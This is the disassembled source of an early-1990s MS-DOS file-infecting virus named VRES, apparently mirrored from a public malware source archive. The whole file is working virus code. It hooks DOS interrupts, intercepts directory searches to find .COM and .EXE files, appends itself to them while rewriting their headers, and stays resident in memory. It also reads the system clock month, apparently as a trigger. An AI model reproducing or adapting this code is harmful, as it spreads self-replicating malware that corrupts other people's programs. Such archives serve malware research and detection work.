mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
948 lines
40 KiB
NASM
948 lines
40 KiB
NASM
|
|
PAGE 60,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ VRES ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 4-Jan-92 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Flags on: H ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 12Bh
|
|
data_2e equ 137h
|
|
data_3e equ 139h
|
|
data_4e equ 13Bh
|
|
data_5e equ 27Dh
|
|
data_6e equ 5CDh
|
|
data_7e equ 724h
|
|
data_8e equ 6B0h
|
|
data_9e equ 3
|
|
data_10e equ 12h
|
|
|
|
seg_a segment
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
vres proc far
|
|
|
|
start:
|
|
push cs
|
|
mov ax,cs
|
|
data_11 dw 105h
|
|
data_12 dw 5000h
|
|
data_13 dw 0B8h
|
|
data_14 dw 5001h
|
|
db 0CBh, 0
|
|
data_15 dw 0
|
|
data_16 dw 0EB00h
|
|
db 4Ah, 90h
|
|
data_17 dw 1460h
|
|
db 74h, 2, 53h, 0FFh
|
|
data_18 dw 0F000h
|
|
data_19 dw 3B8h
|
|
db 0, 0CDh
|
|
data_20 dw 0CD10h
|
|
data_21 dw 20h
|
|
data_22 dw 20h
|
|
data_23 dw 11h
|
|
data_24 dw 0FFFFh
|
|
data_25 dw 4
|
|
data_26 dw 100h
|
|
data_27 dw 674Fh
|
|
data_28 dw 100h
|
|
data_29 dw 4
|
|
data_30 dw 0
|
|
data_31 dw 0
|
|
data_32 dw 0
|
|
data_33 dw 340h
|
|
data_34 db 5
|
|
db 0, 8Ah, 43h, 0B7h, 9Ah, 14h
|
|
db 0, 0, 1, 71h, 0Dh, 8Eh
|
|
db 0Ch, 56h, 5, 1, 0EAh, 56h
|
|
db 74h, 2, 5Ch, 7, 70h, 0
|
|
loc_1:
|
|
push ss
|
|
add al,al
|
|
or bx,[si+7]
|
|
jo loc_2 ; Jump if overflow=1
|
|
loc_2:
|
|
push es
|
|
push ds
|
|
mov ax,es
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
mov data_31,ax
|
|
mov ax,ss
|
|
mov data_26,ax
|
|
mov al,2
|
|
out 20h,al ; port 20h, 8259-1 int command
|
|
cld ; Clear direction
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
xor si,si ; Zero register
|
|
mov di,13Ch
|
|
mov cx,10h
|
|
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
|
|
push ds
|
|
pop ss
|
|
mov bp,8
|
|
xchg bp,sp
|
|
call sub_1 ; (01D5)
|
|
jmp loc_24 ; (0552)
|
|
loc_3:
|
|
call sub_12 ; (05EC)
|
|
call sub_2 ; (023D)
|
|
jz loc_4 ; Jump if zero
|
|
mov al,ds:data_7e
|
|
push ax
|
|
call sub_3 ; (02AE)
|
|
pop ax
|
|
mov ds:data_7e,al
|
|
jmp short loc_5 ; (01B4)
|
|
db 90h
|
|
loc_4:
|
|
call sub_5 ; (041B)
|
|
call sub_6 ; (043D)
|
|
cmp byte ptr ds:data_7e,0
|
|
jne loc_5 ; Jump if not equal
|
|
mov ax,4C00h
|
|
int 21h ; DOS Services ah=function 4Ch
|
|
; terminate with al=return code
|
|
loc_5:
|
|
cmp byte ptr ds:data_7e,43h ; 'C'
|
|
jne loc_8 ; Jump if not equal
|
|
loc_6:
|
|
pop ds
|
|
pop es
|
|
push cs
|
|
pop ds
|
|
pop es
|
|
push es
|
|
mov di,100h
|
|
mov si,10Bh
|
|
mov cx,0Ch
|
|
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
|
|
push es
|
|
pop ds
|
|
mov ax,100h
|
|
push ax
|
|
xor ax,ax ; Zero register
|
|
retf ; Return far
|
|
|
|
vres endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_1 proc near
|
|
mov si,6
|
|
lodsw ; String [si] to ax
|
|
cmp ax,192h
|
|
je loc_6 ; Jump if equal
|
|
cmp ax,179h
|
|
jne loc_7 ; Jump if not equal
|
|
jmp loc_10 ; (028F)
|
|
loc_7:
|
|
cmp ax,1DCh
|
|
je loc_8 ; Jump if equal
|
|
retn
|
|
loc_8:
|
|
pop ds
|
|
pop es
|
|
mov bx,cs:data_18
|
|
sub bx,cs:data_29
|
|
mov ax,cs
|
|
sub ax,bx
|
|
mov ss,ax
|
|
mov bp,cs:data_30
|
|
xchg bp,sp
|
|
mov bx,cs:data_21
|
|
sub bx,cs:data_22
|
|
mov ax,cs
|
|
sub ax,bx
|
|
push ax
|
|
mov ax,cs:data_23
|
|
push ax
|
|
retf ; Return far
|
|
db 23h, 1Ah
|
|
db '<#/--!.$'
|
|
db 0Eh, 23h, 2Fh, 2Dh, 0E0h
|
|
db 'D:VRES.COM'
|
|
db 0, 58h, 45h, 0, 0
|
|
db 24h, 24h, 24h, 24h, 24h
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_2:
|
|
mov ax,3D02h
|
|
mov dx,219h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
jnc loc_9 ; Jump if carry=0
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_9:
|
|
mov ds:data_1e,ax
|
|
mov dx,673h
|
|
mov ax,2524h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
mov ax,4202h
|
|
mov bx,ds:data_1e
|
|
mov cx,0FFFFh
|
|
mov dx,0FFFEh
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,27Dh
|
|
mov ah,3Fh ; '?'
|
|
mov bx,ds:data_1e
|
|
mov cx,2
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
push ds
|
|
mov dx,ds:data_3e
|
|
mov ax,ds:data_2e
|
|
mov ds,ax
|
|
mov ax,2524h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
pop ds
|
|
cmp word ptr ds:data_5e,0A0Ch
|
|
clc ; Clear carry flag
|
|
retn
|
|
db 0CDh, 20h
|
|
loc_10:
|
|
cmp ax,22Dh
|
|
je loc_11 ; Jump if equal
|
|
push ds
|
|
pop es
|
|
push cs
|
|
pop ds
|
|
mov ax,data_26
|
|
mov ss,ax
|
|
xchg bp,sp
|
|
mov si,13Ch
|
|
mov di,0
|
|
mov cx,10h
|
|
cld ; Clear direction
|
|
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
|
|
jmp loc_3 ; (018C)
|
|
sub_1 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
loc_11:
|
|
mov al,43h ; 'C'
|
|
mov ds:data_7e,al
|
|
mov al,8
|
|
out 70h,al ; port 70h, RTC addr/enabl NMI
|
|
; al = 8, month register
|
|
in al,71h ; port 71h, RTC clock/RAM data
|
|
mov ds:data_4e,al
|
|
mov dx,219h
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
jnc loc_12 ; Jump if carry=0
|
|
retn
|
|
loc_12:
|
|
mov ds:data_1e,ax
|
|
mov dx,10Bh
|
|
mov bx,ds:data_1e
|
|
mov cx,0Ch
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
push ax
|
|
add ax,10h
|
|
and ax,0FFF0h
|
|
push ax
|
|
shr ax,1 ; Shift w/zeros fill
|
|
shr ax,1 ; Shift w/zeros fill
|
|
shr ax,1 ; Shift w/zeros fill
|
|
shr ax,1 ; Shift w/zeros fill
|
|
mov di,31Fh
|
|
stosw ; Store ax to es:[di]
|
|
pop ax
|
|
pop bx
|
|
sub ax,bx
|
|
mov cx,627h
|
|
add cx,ax
|
|
mov dx,100h
|
|
sub dx,ax
|
|
mov bx,ds:data_1e
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov ah,40h ; '@'
|
|
mov bx,ds:data_1e
|
|
mov cx,0Ch
|
|
mov dx,31Bh
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov ah,3Eh ; '>'
|
|
mov bx,ds:data_1e
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
retn
|
|
sub_3 endp
|
|
|
|
db 0Eh, 8Ch, 0C8h, 5, 1, 0
|
|
db 50h, 0B8h, 0, 1, 50h, 0CBh
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
mov al,45h ; 'E'
|
|
mov byte ptr ds:[724h],al
|
|
mov al,8
|
|
out 70h,al ; port 70h, RTC addr/enabl NMI
|
|
; al = 8, month register
|
|
in al,71h ; port 71h, RTC clock/RAM data
|
|
mov data_34,al
|
|
mov dx,219h
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
jnc loc_13 ; Jump if carry=0
|
|
retn
|
|
loc_13:
|
|
mov data_26,ax
|
|
mov dx,10Bh
|
|
mov bx,data_26
|
|
mov cx,18h
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
mov ax,4202h
|
|
mov cx,0
|
|
mov dx,0
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
push ax
|
|
add ax,10h
|
|
adc dx,0
|
|
and ax,0FFF0h
|
|
mov data_24,dx
|
|
mov data_25,ax
|
|
mov cx,727h
|
|
sub cx,100h
|
|
add ax,cx
|
|
adc dx,0
|
|
mov cx,200h
|
|
div cx ; ax,dx rem=dx:ax/reg
|
|
inc ax
|
|
mov data_16,ax
|
|
mov data_15,dx
|
|
mov ax,data_21
|
|
mov data_22,ax
|
|
mov ax,data_20
|
|
mov data_23,ax
|
|
mov ax,data_18
|
|
mov data_29,ax
|
|
mov ax,data_19
|
|
mov data_30,ax
|
|
mov dx,data_24
|
|
mov ax,data_25
|
|
mov cx,10h
|
|
div cx ; ax,dx rem=dx:ax/reg
|
|
sub ax,10h
|
|
sub ax,data_17
|
|
mov data_21,ax
|
|
mov data_18,ax
|
|
mov data_20,100h
|
|
mov data_19,100h
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
mov dx,2
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,10Dh
|
|
mov bx,data_26
|
|
mov cx,16h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,100h
|
|
mov ax,data_25
|
|
pop cx
|
|
sub ax,cx
|
|
sub dx,ax
|
|
mov cx,727h
|
|
add cx,ax
|
|
sub cx,100h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
retn
|
|
sub_4 endp
|
|
|
|
db 51h, 0B9h, 0, 0, 0B4h, 4Eh
|
|
db 0CDh, 21h, 59h, 0C3h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_5 proc near
|
|
push es
|
|
mov ax,351Ch
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov cs:data_13,bx
|
|
mov cs:data_14,es
|
|
mov ax,3521h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
push es
|
|
pop ax
|
|
mov cs:data_12,ax
|
|
mov cs:data_11,bx
|
|
pop es
|
|
retn
|
|
sub_5 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
push ax
|
|
push es
|
|
push ds
|
|
xor ax,ax ; Zero register
|
|
mov es,ax
|
|
mov si,86h
|
|
mov ax,es:[si]
|
|
mov ds,ax
|
|
mov si,725h
|
|
cmp word ptr [si],0A0Ch
|
|
jne loc_14 ; Jump if not equal
|
|
push ds
|
|
pop ax
|
|
call sub_13 ; (0611)
|
|
pop ds
|
|
pop es
|
|
pop ax
|
|
retn
|
|
loc_14:
|
|
push cs
|
|
pop ds
|
|
mov ax,data_31
|
|
dec ax
|
|
mov es,ax
|
|
cmp byte ptr es:[0],5Ah ; 'Z'
|
|
je loc_15 ; Jump if equal
|
|
jmp short loc_16 ; (04B4)
|
|
db 90h
|
|
loc_15:
|
|
mov ax,es:data_9e
|
|
mov cx,737h
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shr cx,1 ; Shift w/zeros fill
|
|
sub ax,cx
|
|
jc loc_16 ; Jump if carry Set
|
|
mov es:data_9e,ax
|
|
sub es:data_10e,cx
|
|
push cs
|
|
pop ds
|
|
mov ax,es:data_10e
|
|
push ax
|
|
pop es
|
|
mov si,100h
|
|
push si
|
|
pop di
|
|
mov cx,627h
|
|
cld ; Clear direction
|
|
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
|
|
push es
|
|
sub ax,ax
|
|
mov es,ax
|
|
mov si,84h
|
|
mov dx,4A8h
|
|
mov es:[si],dx
|
|
inc si
|
|
inc si
|
|
pop ax
|
|
mov es:[si],ax
|
|
loc_16:
|
|
pop ds
|
|
pop es
|
|
pop ax
|
|
retn
|
|
sub_6 endp
|
|
|
|
db 3Ch, 57h, 75h, 3, 0EBh, 1Eh
|
|
db 90h, 80h, 0FCh, 1Ah, 75h, 6
|
|
db 0E8h, 17h, 1, 0EBh, 13h, 90h
|
|
loc_17:
|
|
cmp ah,11h
|
|
jne loc_18 ; Jump if not equal
|
|
call sub_7 ; (04E1)
|
|
iret ; Interrupt return
|
|
loc_18:
|
|
cmp ah,12h
|
|
jne loc_19 ; Jump if not equal
|
|
call sub_10 ; (059C)
|
|
iret ; Interrupt return
|
|
loc_19:
|
|
jmp dword ptr cs:data_11
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_7 proc near
|
|
mov al,57h ; 'W'
|
|
int 21h ; DOS Services ah=function 00h
|
|
; terminate, cs=progm seg prefx
|
|
push ax
|
|
push cx
|
|
push dx
|
|
push bx
|
|
push bp
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
mov byte ptr cs:data_35,0
|
|
nop
|
|
call sub_8 ; (0514)
|
|
jnz loc_20 ; Jump if not zero
|
|
call sub_2 ; (023D)
|
|
jz loc_20 ; Jump if zero
|
|
call sub_15 ; (065A)
|
|
dec byte ptr ds:data_6e
|
|
loc_20:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop bp
|
|
pop bx
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
retn
|
|
sub_7 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
push cs
|
|
pop es
|
|
push cs
|
|
pop es
|
|
cld ; Clear direction
|
|
call sub_9 ; (0552)
|
|
jnc loc_21 ; Jump if carry=0
|
|
cmp di,0
|
|
retn
|
|
loc_21:
|
|
mov di,219h
|
|
mov al,2Eh ; '.'
|
|
mov cx,0Bh
|
|
repne scasb ; Rept zf=0+cx>0 Scan es:[di] for al
|
|
cmp word ptr [di],4F43h
|
|
jne loc_22 ; Jump if not equal
|
|
cmp byte ptr [di+2],4Dh ; 'M'
|
|
jne loc_22 ; Jump if not equal
|
|
mov byte ptr ds:[724h],43h ; 'C'
|
|
nop
|
|
retn
|
|
loc_22:
|
|
cmp word ptr [di],5845h
|
|
jne loc_ret_23 ; Jump if not equal
|
|
cmp byte ptr [di+2],45h ; 'E'
|
|
jne loc_ret_23 ; Jump if not equal
|
|
mov byte ptr ds:[724h],45h ; 'E'
|
|
nop
|
|
|
|
loc_ret_23:
|
|
retn
|
|
sub_8 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_9 proc near
|
|
loc_24:
|
|
push ds
|
|
mov si,cs:data_27
|
|
mov ax,cs:data_28
|
|
mov ds,ax
|
|
mov di,219h
|
|
lodsb ; String [si] to al
|
|
cmp al,0FFh
|
|
jne loc_25 ; Jump if not equal
|
|
add si,6
|
|
lodsb ; String [si] to al
|
|
jmp short loc_26 ; (0574)
|
|
db 90h
|
|
loc_25:
|
|
cmp al,5
|
|
jb loc_26 ; Jump if below
|
|
pop ds
|
|
stc ; Set carry flag
|
|
retn
|
|
loc_26:
|
|
mov cx,0Bh
|
|
cmp al,0
|
|
je locloop_27 ; Jump if equal
|
|
add al,40h ; '@'
|
|
stosb ; Store al to es:[di]
|
|
mov al,3Ah ; ':'
|
|
stosb ; Store al to es:[di]
|
|
|
|
locloop_27:
|
|
lodsb ; String [si] to al
|
|
cmp al,20h ; ' '
|
|
je loc_28 ; Jump if equal
|
|
stosb ; Store al to es:[di]
|
|
jmp short loc_29 ; (0594)
|
|
db 90h
|
|
loc_28:
|
|
cmp byte ptr es:[di-1],2Eh ; '.'
|
|
je loc_29 ; Jump if equal
|
|
mov al,2Eh ; '.'
|
|
stosb ; Store al to es:[di]
|
|
loc_29:
|
|
loop locloop_27 ; Loop if cx > 0
|
|
|
|
mov al,0
|
|
stosb ; Store al to es:[di]
|
|
pop ds
|
|
clc ; Clear carry flag
|
|
retn
|
|
sub_9 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_10 proc near
|
|
mov al,57h ; 'W'
|
|
int 21h ; DOS Services ah=function 00h
|
|
; terminate, cs=progm seg prefx
|
|
push ax
|
|
push cx
|
|
push dx
|
|
push bx
|
|
push bp
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
cmp byte ptr cs:data_35,0
|
|
je loc_30 ; Jump if equal
|
|
jmp short loc_31 ; (05D3)
|
|
db 90h
|
|
loc_30:
|
|
call sub_8 ; (0514)
|
|
jnz loc_31 ; Jump if not zero
|
|
call sub_2 ; (023D)
|
|
jz loc_31 ; Jump if zero
|
|
call sub_15 ; (065A)
|
|
dec byte ptr ds:data_6e
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
data_35 db 5Dh
|
|
db 5Bh, 5Ah, 59h, 58h, 0C3h
|
|
loc_31:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop bp
|
|
pop bx
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
retn
|
|
sub_10 endp
|
|
|
|
db 0
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_11 proc near
|
|
push ax
|
|
push ds
|
|
pop ax
|
|
mov cs:data_28,ax
|
|
mov cs:data_27,dx
|
|
pop ax
|
|
retn
|
|
sub_11 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_12 proc near
|
|
push cs
|
|
mov al,0
|
|
out 20h,al ; port 20h, 8259-1 int command
|
|
mov ax,3524h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov ds:data_3e,bx
|
|
mov bx,es
|
|
mov ds:data_2e,bx
|
|
pop es
|
|
mov si,20Ah
|
|
mov di,219h
|
|
mov cx,0Fh
|
|
|
|
locloop_32:
|
|
lodsb ; String [si] to al
|
|
add al,20h ; ' '
|
|
stosb ; Store al to es:[di]
|
|
loop locloop_32 ; Loop if cx > 0
|
|
|
|
retn
|
|
sub_12 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_13 proc near
|
|
push ax
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
mov bl,data_34
|
|
cmp bl,0Ch
|
|
ja loc_34 ; Jump if above
|
|
cmp bl,0
|
|
je loc_34 ; Jump if equal
|
|
mov al,8
|
|
out 70h,al ; port 70h, RTC addr/enabl NMI
|
|
; al = 8, month register
|
|
in al,71h ; port 71h, RTC clock/RAM data
|
|
cmp al,0Ch
|
|
ja loc_34 ; Jump if above
|
|
cmp al,0
|
|
je loc_34 ; Jump if equal
|
|
cmp al,bl
|
|
je loc_34 ; Jump if equal
|
|
inc bl
|
|
call sub_14 ; (064F)
|
|
cmp al,bl
|
|
je loc_34 ; Jump if equal
|
|
inc bl
|
|
call sub_14 ; (064F)
|
|
cmp al,bl
|
|
je loc_34 ; Jump if equal
|
|
pop ds
|
|
call sub_16 ; (0686)
|
|
push cs
|
|
pop ds
|
|
retn
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_14:
|
|
cmp bl,0Ch
|
|
jbe loc_ret_33 ; Jump if below or =
|
|
sub bl,0Ch
|
|
|
|
loc_ret_33:
|
|
retn
|
|
loc_34:
|
|
pop ax
|
|
retn
|
|
sub_13 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_15 proc near
|
|
mov dx,673h
|
|
mov ax,2524h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
cmp byte ptr ds:[724h],43h ; 'C'
|
|
jne loc_35 ; Jump if not equal
|
|
call sub_3 ; (02AE)
|
|
jmp short loc_36 ; (0672)
|
|
db 90h
|
|
loc_35:
|
|
call sub_4 ; (0337)
|
|
loc_36:
|
|
push ds
|
|
sub_15 endp
|
|
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;
|
|
; External Entry Point
|
|
;
|
|
